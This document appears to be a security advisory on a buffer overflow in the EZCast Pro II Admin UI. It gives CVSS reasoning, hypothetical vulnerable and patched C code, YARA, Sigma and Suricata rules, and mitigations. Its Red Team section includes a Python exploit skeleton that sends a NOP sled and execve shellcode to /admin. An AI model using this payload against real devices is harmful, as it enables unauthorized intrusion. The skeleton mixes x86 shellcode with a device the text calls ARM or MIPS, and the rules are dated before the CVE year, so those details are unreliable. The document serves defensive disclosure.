CVE-2026-24344

Executive Summary

CVE-2026-24344 is a critical vulnerability affecting the EZCast Pro II device, specifically version 1.17478.146. The flaw resides in the Admin UI and is characterized by multiple buffer overflow conditions. An attacker can exploit these overflows to cause a program crash and potentially achieve remote code execution (RCE). The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the potential for RCE makes this a high-priority issue for asset owners.

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby) and is specific to the embedded device firmware of EZCast Pro II.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the description of multiple buffer overflows leading to a crash and potential RCE, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The Admin UI is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The Admin UI may be accessible without authentication.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – RCE can lead to full data access.
• Integrity (I): High (H) – RCE allows modification of system files.
• Availability (A): High (H) – The crash itself impacts availability.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the Admin UI of the EZCast Pro II device. The Admin UI likely processes user-supplied input (e.g., HTTP POST parameters, form fields, or API calls) without proper bounds checking. When an attacker sends a payload that exceeds the allocated buffer size, the excess data overwrites adjacent memory regions, including the return address on the stack or function pointers.

Attack Vector:

1. The attacker identifies the Admin UI endpoint (e.g., /admin, /cgi-bin/, or a specific API).
2. The attacker crafts a malicious HTTP request containing an oversized string in a vulnerable parameter (e.g., username, password, ssid, or a custom field).
3. The device’s firmware processes the input, copying it into a fixed-size buffer.
4. The overflow corrupts the stack, allowing the attacker to control the instruction pointer (EIP/RIP).
5. The attacker can then redirect execution to shellcode injected into the payload, achieving remote code execution.

Potential Impact:

• Full device compromise.
• Use of the device as a pivot point in the network.
• Data exfiltration or ransomware deployment.
• Denial of service (DoS) via crash.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is typical of C/C++ firmware using unsafe functions like strcpy, sprintf, gets, or scanf without length limits.

Vulnerable Code (Hypothetical):

void handle_admin_login(char *user_input) {
    char buffer[64];
    strcpy(buffer, user_input); // No bounds check
    // ... process login
}

Patched Code (Hypothetical):

void handle_admin_login(char *user_input) {
    char buffer[64];
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process login
}

The fix would involve replacing unsafe functions with bounded versions (e.g., strncpy, snprintf) and validating input length.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain an EZCast Pro II device (version 1.17478.146) or use a firmware emulator (e.g., QEMU with the extracted firmware).
2. Connect the device to an isolated network.
3. Identify the Admin UI IP address and port (typically port 80 or 443).

Exploitation Steps:

1. Fuzzing: Use a tool like Burp Suite or a custom Python script to fuzz the Admin UI parameters for crashes.
2. Crash Analysis: Attach a debugger (e.g., GDB) to the device process or analyze core dumps to identify the offset to the return address.
3. Exploit Development:
   • Determine the buffer size and offset to EIP.
   • Generate shellcode (e.g., reverse shell for the device’s architecture, likely ARM or MIPS).
   • Craft the payload: [padding] + [return address] + [NOP sled] + [shellcode].
4. Delivery: Send the malicious HTTP request to the vulnerable endpoint.

Example Payload (Python):

import socket

target_ip = "192.168.1.100"
target_port = 80

# Hypothetical offset and shellcode
offset = 64
eip = b"\x08\x03\x02\x01"  # Address of buffer
nop_sled = b"\x90" * 100
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = b"A" * offset + eip + nop_sled + shellcode

http_request = f"POST /admin HTTP/1.1\r\nHost: {target_ip}\r\nContent-Length: {len(payload)}\r\n\r\n".encode() + payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request)
sock.close()

Blue Team

Detection & Response:

1. Network Monitoring: Look for abnormally long HTTP requests to the Admin UI, especially with repeated characters (e.g., AAAA...).
2. Host Monitoring: Monitor device logs for crashes, segmentation faults, or unexpected restarts.
3. Honeypot: Deploy a fake EZCast Pro II instance to capture exploit attempts.

Mitigation:

• Isolate the device on a separate VLAN with strict firewall rules.
• Disable remote Admin UI access if not required.
• Monitor for firmware updates from EZCast.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with payloads containing long strings of A or other repeating characters.
  • Outbound connections from the device to unknown IPs on unusual ports (e.g., 4444, 31337).
• Host:
  • Device logs showing segmentation faults or buffer overflow errors.
  • Unexpected processes running on the device.
  • Modified firmware binaries or configuration files.
• File:
  • Presence of shellcode or exploit artifacts in temporary directories (if accessible).

Detection Engineering

YARA Rule

rule CVE_2026_24344_EZCast_Pro_II_Buffer_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2026-24344 in network traffic or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-24344"
    strings:
        $s1 = "POST /admin" ascii wide nocase
        $s2 = "Content-Length: " ascii wide
        $overflow_pattern = /[A-Za-z0-9]{100,}/  // Long string pattern
    condition:
        $s1 and $s2 and #overflow_pattern > 1
}

Sigma Rule

title: CVE-2026-24344 EZCast Pro II Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with abnormally long payloads targeting the EZCast Pro II Admin UI
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin'
        sc-status: 200
    condition: selection and (len(cs-uri-query) > 500 or len(cs-body) > 500)
falsepositives:
    - Legitimate large configuration uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-24344 EZCast Pro II Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin"; http_uri; pcre:"/[A-Za-z0-9]{200,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the EZCast Pro II on a separate VLAN with no direct internet access.
2. Disable Admin UI: If possible, disable remote administration or restrict access to trusted IPs only.
3. Monitor Logs: Enable detailed logging and monitor for crash events.

Long-Term Fix:

• Await an official firmware patch from EZCast. Contact their support to request a timeline.
• If no patch is forthcoming, consider replacing the device with a patched alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter and sanitize input before it reaches the device.
• Implement a Web Application Firewall (WAF) rule to block requests with excessively long parameters.

Valters IT